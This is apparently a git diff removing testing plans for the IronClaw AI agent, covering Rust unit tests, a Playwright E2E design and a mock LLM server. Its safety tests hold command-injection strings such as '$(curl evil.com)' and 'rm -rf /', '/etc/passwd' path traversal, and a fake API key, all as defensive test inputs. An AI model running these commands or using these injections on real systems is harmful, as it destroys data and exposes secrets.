assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** New `tests/concurrent_jobs.rs`
|
|
||||||
|
|
||||||
### 4.3 Dispatcher Infinite Loop Guard
|
|
||||||
|
|
||||||
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[tokio::test]
|
|
||||||
async fn dispatcher_terminates_when_hook_rejects() {
|
|
||||||
let dispatcher = TestDispatcher::new();
|
|
||||||
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
|
|
||||||
|
|
||||||
let result = tokio::time::timeout(
|
|
||||||
Duration::from_secs(5),
|
|
||||||
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
|
|
||||||
).await;
|
|
||||||
|
|
||||||
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend `src/agent/dispatcher.rs` tests
|
|
||||||
|
|
||||||
### 4.4 Value Estimator Boundary Tests
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[test]
|
|
||||||
fn is_profitable_with_zero_price() {
|
|
||||||
let estimator = ValueEstimator::new();
|
|
||||||
// Must not panic (was a divide-by-zero before PR #139)
|
|
||||||
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
|
|
||||||
assert!(!result);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn is_profitable_with_negative_cost() {
|
|
||||||
let estimator = ValueEstimator::new();
|
|
||||||
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
|
|
||||||
// Negative cost = always profitable
|
|
||||||
assert!(result);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend `src/estimation/value.rs` tests
|
|
||||||
|
|
||||||
### 4.5 Safety Layer Adversarial Tests
|
|
||||||
|
|
||||||
Test the safety layer with adversarial inputs that have caused real bypasses:
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[test]
|
|
||||||
fn path_traversal_in_wasm_allowlist() {
|
|
||||||
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
|
|
||||||
// Must be blocked: path traversal before normalization
|
|
||||||
assert!(!allowlist.allows("api.example.com/v1/../admin"));
|
|
||||||
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn shell_env_scrubbing_removes_secrets() {
|
|
||||||
let env = scrubbed_env();
|
|
||||||
assert!(!env.contains_key("OPENAI_API_KEY"));
|
|
||||||
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
|
|
||||||
assert!(!env.contains_key("DATABASE_URL"));
|
|
||||||
// Safe vars preserved
|
|
||||||
assert!(env.contains_key("PATH"));
|
|
||||||
assert!(env.contains_key("HOME"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn leak_detector_catches_api_keys_in_output() {
|
|
||||||
let detector = LeakDetector::default();
|
|
||||||
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
|
|
||||||
let result = detector.scan(output);
|
|
||||||
assert!(result.has_leaks());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn sanitizer_blocks_command_injection() {
|
|
||||||
let sanitizer = Sanitizer::new();
|
|
||||||
let inputs = vec![
|
|
||||||
"hello; rm -rf /",
|
|
||||||
"$(curl evil.com)",
|
|
||||||
"hello\n`whoami`",
|
|
||||||
"test && cat /etc/passwd",
|
|
||||||
];
|
|
||||||
for input in inputs {
|
|
||||||
let result = sanitizer.sanitize(input);
|
|
||||||
assert_ne!(result, input, "injection not caught: {input}");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Implementation Priority
|
|
||||||
|
|
||||||
| Priority | Tier | Item | Effort | Bugs Prevented |
|
|
||||||
|----------|------|------|--------|----------------|
|
|
||||||
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
|
|
||||||
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
|
|
||||||
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
|
|
||||||
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
|
|
||||||
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
|
|
||||||
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
|
|
||||||
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
|
|
||||||
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
|
|
||||||
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
|
|
||||||
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
|
|
||||||
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
|
|
||||||
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
|
|
||||||
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
|
|
||||||
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
|
|
||||||
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
|
|
||||||
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
|
|
||||||
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
|
|
||||||
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
|
|
||||||
|
|
||||||
## Open Questions
|
|
||||||
|
|
||||||
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
|
|
||||||
|
|
||||||
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
|
|
||||||
|
|
||||||
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
|
|
||||||
|
|
||||||
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
|
|
||||||
|
|
||||||
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
|
|
||||||
@@ -1,354 +0,0 @@
|
|||||||
# E2E Testing Infrastructure Design
|
|
||||||
|
|
||||||
**Date:** 2026-02-24
|
|
||||||
**Status:** Approved
|
|
||||||
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Decisions
|
|
||||||
|
|
||||||
| Decision | Choice | Rationale |
|
|
||||||
|----------|--------|-----------|
|
|
||||||
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
|
|
||||||
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
|
|
||||||
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
|
|
||||||
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
|
|
||||||
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
```
|
|
||||||
pytest
|
|
||||||
|
|
|
||||||
+----------+-----------+
|
|
||||||
| |
|
|
||||||
mock_llm.py ironclaw binary
|
|
||||||
(canned responses) (cargo build --features libsql)
|
|
||||||
127.0.0.1:{port} 127.0.0.1:{port}
|
|
||||||
| |
|
|
||||||
+----------+-----------+
|
|
||||||
|
|
|
||||||
Playwright
|
|
||||||
(headless Chromium)
|
|
||||||
DOM assertions
|
|
||||||
```
|
|
||||||
|
|
||||||
**Flow:**
|
|
||||||
|
|
||||||
1. pytest session starts
|
|
||||||
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
|
|
||||||
3. Session-scoped fixture starts mock LLM on OS-assigned port
|
|
||||||
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
|
|
||||||
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
|
|
||||||
6. Each test uses Playwright locators + DOM assertions
|
|
||||||
7. Teardown kills ironclaw and mock LLM
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Directory Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
tests/e2e/
|
|
||||||
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
|
|
||||||
mock_llm.py # OpenAI-compat HTTP server with canned responses
|
|
||||||
helpers.py # Shared utilities (wait_for_ready, selectors)
|
|
||||||
scenarios/
|
|
||||||
__init__.py
|
|
||||||
test_connection.py # Auth, tab navigation, connection status
|
|
||||||
test_chat.py # Send message, SSE streaming, response rendering
|
|
||||||
test_skills.py # Search, install, remove lifecycle
|
|
||||||
pyproject.toml # Dependencies
|
|
||||||
README.md # How to run locally and in CI
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Mock LLM Server
|
|
||||||
|
|
||||||
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
|
|
||||||
|
|
||||||
**Endpoint:** `POST /v1/chat/completions`
|
|
||||||
|
|
||||||
**Behavior:**
|
|
||||||
- Parses the `messages` array from the request body
|
|
||||||
- Pattern-matches the last user message content to select a canned response
|
|
||||||
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
|
|
||||||
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
|
|
||||||
|
|
||||||
**Canned response table:**
|
|
||||||
|
|
||||||
| Pattern (regex) | Response |
|
|
||||||
|-----------------|----------|
|
|
||||||
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
|
|
||||||
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
|
|
||||||
| `skill\|install` | `I can help you with skills management.` |
|
|
||||||
| `.*` (default) | `I understand your request.` |
|
|
||||||
|
|
||||||
**Streaming format:**
|
|
||||||
|
|
||||||
```
|
|
||||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
|
|
||||||
|
|
||||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
|
|
||||||
|
|
||||||
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
|
|
||||||
|
|
||||||
data: [DONE]
|
|
||||||
```
|
|
||||||
|
|
||||||
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
|
|
||||||
|
|
||||||
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixtures
|
|
||||||
|
|
||||||
### Session-scoped (run once per test session)
|
|
||||||
|
|
||||||
**`ironclaw_binary`**
|
|
||||||
- Checks if `./target/debug/ironclaw` exists
|
|
||||||
- If missing or stale, runs `cargo build --no-default-features --features libsql`
|
|
||||||
- Returns the binary path
|
|
||||||
- Timeout: 300s (first build can be slow)
|
|
||||||
|
|
||||||
**`mock_llm_server`**
|
|
||||||
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
|
|
||||||
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
|
|
||||||
- Polls `GET /v1/models` until ready (timeout 10s)
|
|
||||||
- Yields `(process, url)`
|
|
||||||
- Kills process on teardown
|
|
||||||
|
|
||||||
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
|
|
||||||
- Starts the ironclaw binary with environment:
|
|
||||||
|
|
||||||
```
|
|
||||||
GATEWAY_ENABLED=true
|
|
||||||
GATEWAY_HOST=127.0.0.1
|
|
||||||
GATEWAY_PORT=0
|
|
||||||
GATEWAY_AUTH_TOKEN=e2e-test-token
|
|
||||||
GATEWAY_USER_ID=e2e-tester
|
|
||||||
CLI_ENABLED=false
|
|
||||||
LLM_BACKEND=openai_compatible
|
|
||||||
LLM_BASE_URL={mock_llm_url}
|
|
||||||
LLM_MODEL=mock-model
|
|
||||||
DATABASE_BACKEND=libsql
|
|
||||||
LIBSQL_PATH=:memory:
|
|
||||||
SANDBOX_ENABLED=false
|
|
||||||
SKILLS_ENABLED=true
|
|
||||||
ROUTINES_ENABLED=false
|
|
||||||
HEARTBEAT_ENABLED=false
|
|
||||||
```
|
|
||||||
|
|
||||||
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
|
|
||||||
- Polls `GET /api/status` until ready (timeout 60s)
|
|
||||||
- Yields the base URL (`http://127.0.0.1:{port}`)
|
|
||||||
- Sends SIGTERM on teardown, SIGKILL after 5s grace
|
|
||||||
|
|
||||||
### Function-scoped (fresh per test)
|
|
||||||
|
|
||||||
**`page(ironclaw_server)`**
|
|
||||||
- Launches Playwright Chromium (headless)
|
|
||||||
- Creates new browser context (isolated cookies/storage)
|
|
||||||
- Creates new page with viewport 1280x720
|
|
||||||
- Navigates to `{base_url}/?token=e2e-test-token`
|
|
||||||
- Waits for network idle
|
|
||||||
- Yields the `Page` object
|
|
||||||
- Closes browser context on teardown
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Test Scenarios
|
|
||||||
|
|
||||||
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
|
|
||||||
|
|
||||||
Tests auth, initial page load, and tab switching.
|
|
||||||
|
|
||||||
```
|
|
||||||
test_page_loads_and_connects:
|
|
||||||
1. Assert page title or main container is visible
|
|
||||||
2. Assert connection status indicator shows "Connected" (or equivalent)
|
|
||||||
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
|
|
||||||
|
|
||||||
test_tab_navigation:
|
|
||||||
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
|
|
||||||
a. Click the tab button
|
|
||||||
b. Assert the corresponding panel container becomes visible
|
|
||||||
c. Assert no error toasts appear
|
|
||||||
2. Return to Chat tab
|
|
||||||
3. Assert chat input is visible and focusable
|
|
||||||
|
|
||||||
test_auth_rejection:
|
|
||||||
1. Navigate to base_url without token (no ?token= param)
|
|
||||||
2. Assert auth screen / login prompt appears (not the main app)
|
|
||||||
```
|
|
||||||
|
|
||||||
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
|
|
||||||
|
|
||||||
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
|
|
||||||
|
|
||||||
```
|
|
||||||
test_send_message_and_receive_response:
|
|
||||||
1. Locate chat input element
|
|
||||||
2. Type "What is 2+2?"
|
|
||||||
3. Press Enter (or click Send button)
|
|
||||||
4. Wait for assistant message to appear (timeout 15s)
|
|
||||||
5. Assert user message bubble contains "What is 2+2?"
|
|
||||||
6. Assert assistant message bubble contains "4"
|
|
||||||
7. Assert no error toasts visible
|
|
||||||
|
|
||||||
test_multiple_messages:
|
|
||||||
1. Send "Hello"
|
|
||||||
2. Wait for response containing "Hello" or "help"
|
|
||||||
3. Send "What is 2+2?"
|
|
||||||
4. Wait for response containing "4"
|
|
||||||
5. Assert message count >= 4 (2 user + 2 assistant)
|
|
||||||
|
|
||||||
test_empty_message_not_sent:
|
|
||||||
1. Focus chat input
|
|
||||||
2. Press Enter with empty input
|
|
||||||
3. Assert no new messages appear after 2s
|
|
||||||
```
|
|
||||||
|
|
||||||
### Scenario 3: Skills Lifecycle (`test_skills.py`)
|
|
||||||
|
|
||||||
Tests ClawHub search, install, and remove through the browser UI.
|
|
||||||
|
|
||||||
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
|
|
||||||
|
|
||||||
```
|
|
||||||
test_skills_tab_visible:
|
|
||||||
1. Click Skills tab
|
|
||||||
2. Assert skills panel is visible
|
|
||||||
3. Assert search input is present
|
|
||||||
|
|
||||||
test_skills_search:
|
|
||||||
1. Click Skills tab
|
|
||||||
2. Type "markdown" in search input
|
|
||||||
3. Click Search (or press Enter)
|
|
||||||
4. Wait for results (timeout 15s)
|
|
||||||
5. Assert at least one result card is visible
|
|
||||||
6. Assert result cards contain: name, version, description fields
|
|
||||||
|
|
||||||
test_skills_install_and_remove:
|
|
||||||
1. Search for a skill
|
|
||||||
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
|
|
||||||
3. Click Install on first result
|
|
||||||
4. Wait for installed skills list to update (timeout 15s)
|
|
||||||
5. Assert skill appears in installed section
|
|
||||||
6. Click Remove on the installed skill
|
|
||||||
7. Wait for installed section to update
|
|
||||||
8. Assert skill is gone from installed list
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Port Discovery
|
|
||||||
|
|
||||||
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
|
|
||||||
|
|
||||||
```python
|
|
||||||
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
|
|
||||||
"""Read process stdout until we find the listening port."""
|
|
||||||
deadline = time.monotonic() + timeout
|
|
||||||
while time.monotonic() < deadline:
|
|
||||||
line = await asyncio.wait_for(
|
|
||||||
process.stdout.readline(), timeout=deadline - time.monotonic()
|
|
||||||
)
|
|
||||||
if match := re.search(pattern, line.decode()):
|
|
||||||
return int(match.group(1))
|
|
||||||
raise TimeoutError("ironclaw did not report listening port")
|
|
||||||
```
|
|
||||||
|
|
||||||
Same pattern for the mock LLM server.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencies
|
|
||||||
|
|
||||||
```toml
|
|
||||||
# tests/e2e/pyproject.toml
|
|
||||||
[project]
|
|
||||||
name = "ironclaw-e2e"
|
|
||||||
version = "0.1.0"
|
|
||||||
requires-python = ">=3.11"
|
|
||||||
dependencies = [
|
|
||||||
"pytest>=8.0",
|
|
||||||
"pytest-asyncio>=0.23",
|
|
||||||
"playwright>=1.40",
|
|
||||||
"aiohttp>=3.9",
|
|
||||||
"httpx>=0.27",
|
|
||||||
]
|
|
||||||
|
|
||||||
[project.optional-dependencies]
|
|
||||||
vision = [
|
|
||||||
"anthropic>=0.40",
|
|
||||||
]
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## CI Integration
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
# .github/workflows/e2e.yml
|
|
||||||
name: E2E Tests
|
|
||||||
on:
|
|
||||||
schedule:
|
|
||||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
|
||||||
workflow_dispatch:
|
|
||||||
pull_request:
|
|
||||||
paths:
|
|
||||||
- 'src/channels/web/**'
|
|
||||||
- 'tests/e2e/**'
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
e2e:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 30
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
- uses: actions/cache@v4
|
|
||||||
with:
|
|
||||||
path: target
|
|
||||||
key: e2e-${{ hashFiles('Cargo.lock') }}
|
|
||||||
- name: Build ironclaw
|
|
||||||
run: cargo build --no-default-features --features libsql
|
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: "3.12"
|
|
||||||
- name: Install E2E dependencies
|
|
||||||
run: |
|
|
||||||
cd tests/e2e
|
|
||||||
pip install -e .
|
|
||||||
playwright install chromium
|
|
||||||
- name: Run E2E tests
|
|
||||||
run: pytest tests/e2e/ -v --timeout=120
|
|
||||||
```
|
|
||||||
|
|
||||||
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Future: Claude Vision Layer
|
|
||||||
|
|
||||||
Not in initial scope. Design accommodates it via:
|
|
||||||
|
|
||||||
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
|
|
||||||
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
|
|
||||||
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
|
|
||||||
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Success Criteria
|
|
||||||
|
|
||||||
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
|
|
||||||
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
|
|
||||||
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
|
|
||||||
4. CI workflow runs on web gateway changes and weekly schedule
|
|
||||||
5. Test failures produce clear error messages with screenshot artifacts
|
|
||||||
@@ -1,952 +0,0 @@
|
|||||||
# E2E Testing Infrastructure Implementation Plan
|
|
||||||
|
|
||||||
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
|
|
||||||
|
|
||||||
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
|
|
||||||
|
|
||||||
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
|
|
||||||
|
|
||||||
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
|
|
||||||
|
|
||||||
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 1: Project scaffolding and pyproject.toml
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/pyproject.toml`
|
|
||||||
- Create: `tests/e2e/scenarios/__init__.py`
|
|
||||||
|
|
||||||
**Step 1: Create pyproject.toml**
|
|
||||||
|
|
||||||
```toml
|
|
||||||
[project]
|
|
||||||
name = "ironclaw-e2e"
|
|
||||||
version = "0.1.0"
|
|
||||||
requires-python = ">=3.11"
|
|
||||||
dependencies = [
|
|
||||||
"pytest>=8.0",
|
|
||||||
"pytest-asyncio>=0.23",
|
|
||||||
"pytest-playwright>=0.5",
|
|
||||||
"playwright>=1.40",
|
|
||||||
"aiohttp>=3.9",
|
|
||||||
"httpx>=0.27",
|
|
||||||
]
|
|
||||||
|
|
||||||
[project.optional-dependencies]
|
|
||||||
vision = [
|
|
||||||
"anthropic>=0.40",
|
|
||||||
]
|
|
||||||
|
|
||||||
[tool.pytest.ini_options]
|
|
||||||
asyncio_mode = "auto"
|
|
||||||
timeout = 120
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Create empty __init__.py**
|
|
||||||
|
|
||||||
Create `tests/e2e/scenarios/__init__.py` as an empty file.
|
|
||||||
|
|
||||||
**Step 3: Verify install works**
|
|
||||||
|
|
||||||
Run:
|
|
||||||
```bash
|
|
||||||
cd tests/e2e && pip install -e . && playwright install chromium
|
|
||||||
```
|
|
||||||
Expected: Clean install, no errors.
|
|
||||||
|
|
||||||
**Step 4: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
|
|
||||||
git commit -m "scaffold: E2E test project with pyproject.toml"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 2: Mock LLM server
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/mock_llm.py`
|
|
||||||
|
|
||||||
**Step 1: Write the mock LLM server**
|
|
||||||
|
|
||||||
The server must:
|
|
||||||
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
|
|
||||||
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
|
|
||||||
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
|
|
||||||
- Handle `GET /v1/models` for health checks
|
|
||||||
- Pattern-match the last user message to select canned responses
|
|
||||||
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""Mock OpenAI-compatible LLM server for E2E tests."""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import json
|
|
||||||
import re
|
|
||||||
import time
|
|
||||||
import uuid
|
|
||||||
|
|
||||||
from aiohttp import web
|
|
||||||
|
|
||||||
CANNED_RESPONSES = [
|
|
||||||
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
|
|
||||||
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
|
|
||||||
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
|
|
||||||
]
|
|
||||||
DEFAULT_RESPONSE = "I understand your request."
|
|
||||||
|
|
||||||
|
|
||||||
def match_response(messages: list[dict]) -> str:
|
|
||||||
"""Find canned response for the last user message."""
|
|
||||||
for msg in reversed(messages):
|
|
||||||
if msg.get("role") == "user":
|
|
||||||
content = msg.get("content", "")
|
|
||||||
# Handle content that may be a list (multi-modal)
|
|
||||||
if isinstance(content, list):
|
|
||||||
content = " ".join(
|
|
||||||
part.get("text", "") for part in content if part.get("type") == "text"
|
|
||||||
)
|
|
||||||
for pattern, response in CANNED_RESPONSES:
|
|
||||||
if pattern.search(content):
|
|
||||||
return response
|
|
||||||
return DEFAULT_RESPONSE
|
|
||||||
return DEFAULT_RESPONSE
|
|
||||||
|
|
||||||
|
|
||||||
async def chat_completions(request: web.Request) -> web.StreamResponse:
|
|
||||||
"""Handle POST /v1/chat/completions."""
|
|
||||||
body = await request.json()
|
|
||||||
messages = body.get("messages", [])
|
|
||||||
stream = body.get("stream", False)
|
|
||||||
response_text = match_response(messages)
|
|
||||||
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
|
|
||||||
|
|
||||||
if not stream:
|
|
||||||
return web.json_response({
|
|
||||||
"id": completion_id,
|
|
||||||
"object": "chat.completion",
|
|
||||||
"created": int(time.time()),
|
|
||||||
"model": "mock-model",
|
|
||||||
"choices": [{
|
|
||||||
"index": 0,
|
|
||||||
"message": {"role": "assistant", "content": response_text},
|
|
||||||
"finish_reason": "stop",
|
|
||||||
}],
|
|
||||||
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
|
|
||||||
})
|
|
||||||
|
|
||||||
# Streaming response: split into word-boundary chunks
|
|
||||||
resp = web.StreamResponse(
|
|
||||||
status=200,
|
|
||||||
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
|
|
||||||
)
|
|
||||||
await resp.prepare(request)
|
|
||||||
|
|
||||||
# First chunk: role
|
|
||||||
chunk = {
|
|
||||||
"id": completion_id,
|
|
||||||
"object": "chat.completion.chunk",
|
|
||||||
"created": int(time.time()),
|
|
||||||
"model": "mock-model",
|
|
||||||
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
|
|
||||||
}
|
|
||||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
|
||||||
|
|
||||||
# Content chunks: split on spaces
|
|
||||||
words = response_text.split(" ")
|
|
||||||
for i, word in enumerate(words):
|
|
||||||
text = word if i == 0 else f" {word}"
|
|
||||||
chunk["choices"][0]["delta"] = {"content": text}
|
|
||||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
|
||||||
|
|
||||||
# Final chunk: finish_reason
|
|
||||||
chunk["choices"][0]["delta"] = {}
|
|
||||||
chunk["choices"][0]["finish_reason"] = "stop"
|
|
||||||
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
|
|
||||||
await resp.write(b"data: [DONE]\n\n")
|
|
||||||
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
async def models(_request: web.Request) -> web.Response:
|
|
||||||
"""Handle GET /v1/models."""
|
|
||||||
return web.json_response({
|
|
||||||
"object": "list",
|
|
||||||
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("--port", type=int, default=0)
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
app = web.Application()
|
|
||||||
app.router.add_post("/v1/chat/completions", chat_completions)
|
|
||||||
app.router.add_get("/v1/models", models)
|
|
||||||
|
|
||||||
# Use aiohttp's runner to get the actual bound port
|
|
||||||
import asyncio
|
|
||||||
|
|
||||||
async def start():
|
|
||||||
runner = web.AppRunner(app)
|
|
||||||
await runner.setup()
|
|
||||||
site = web.TCPSite(runner, "127.0.0.1", args.port)
|
|
||||||
await site.start()
|
|
||||||
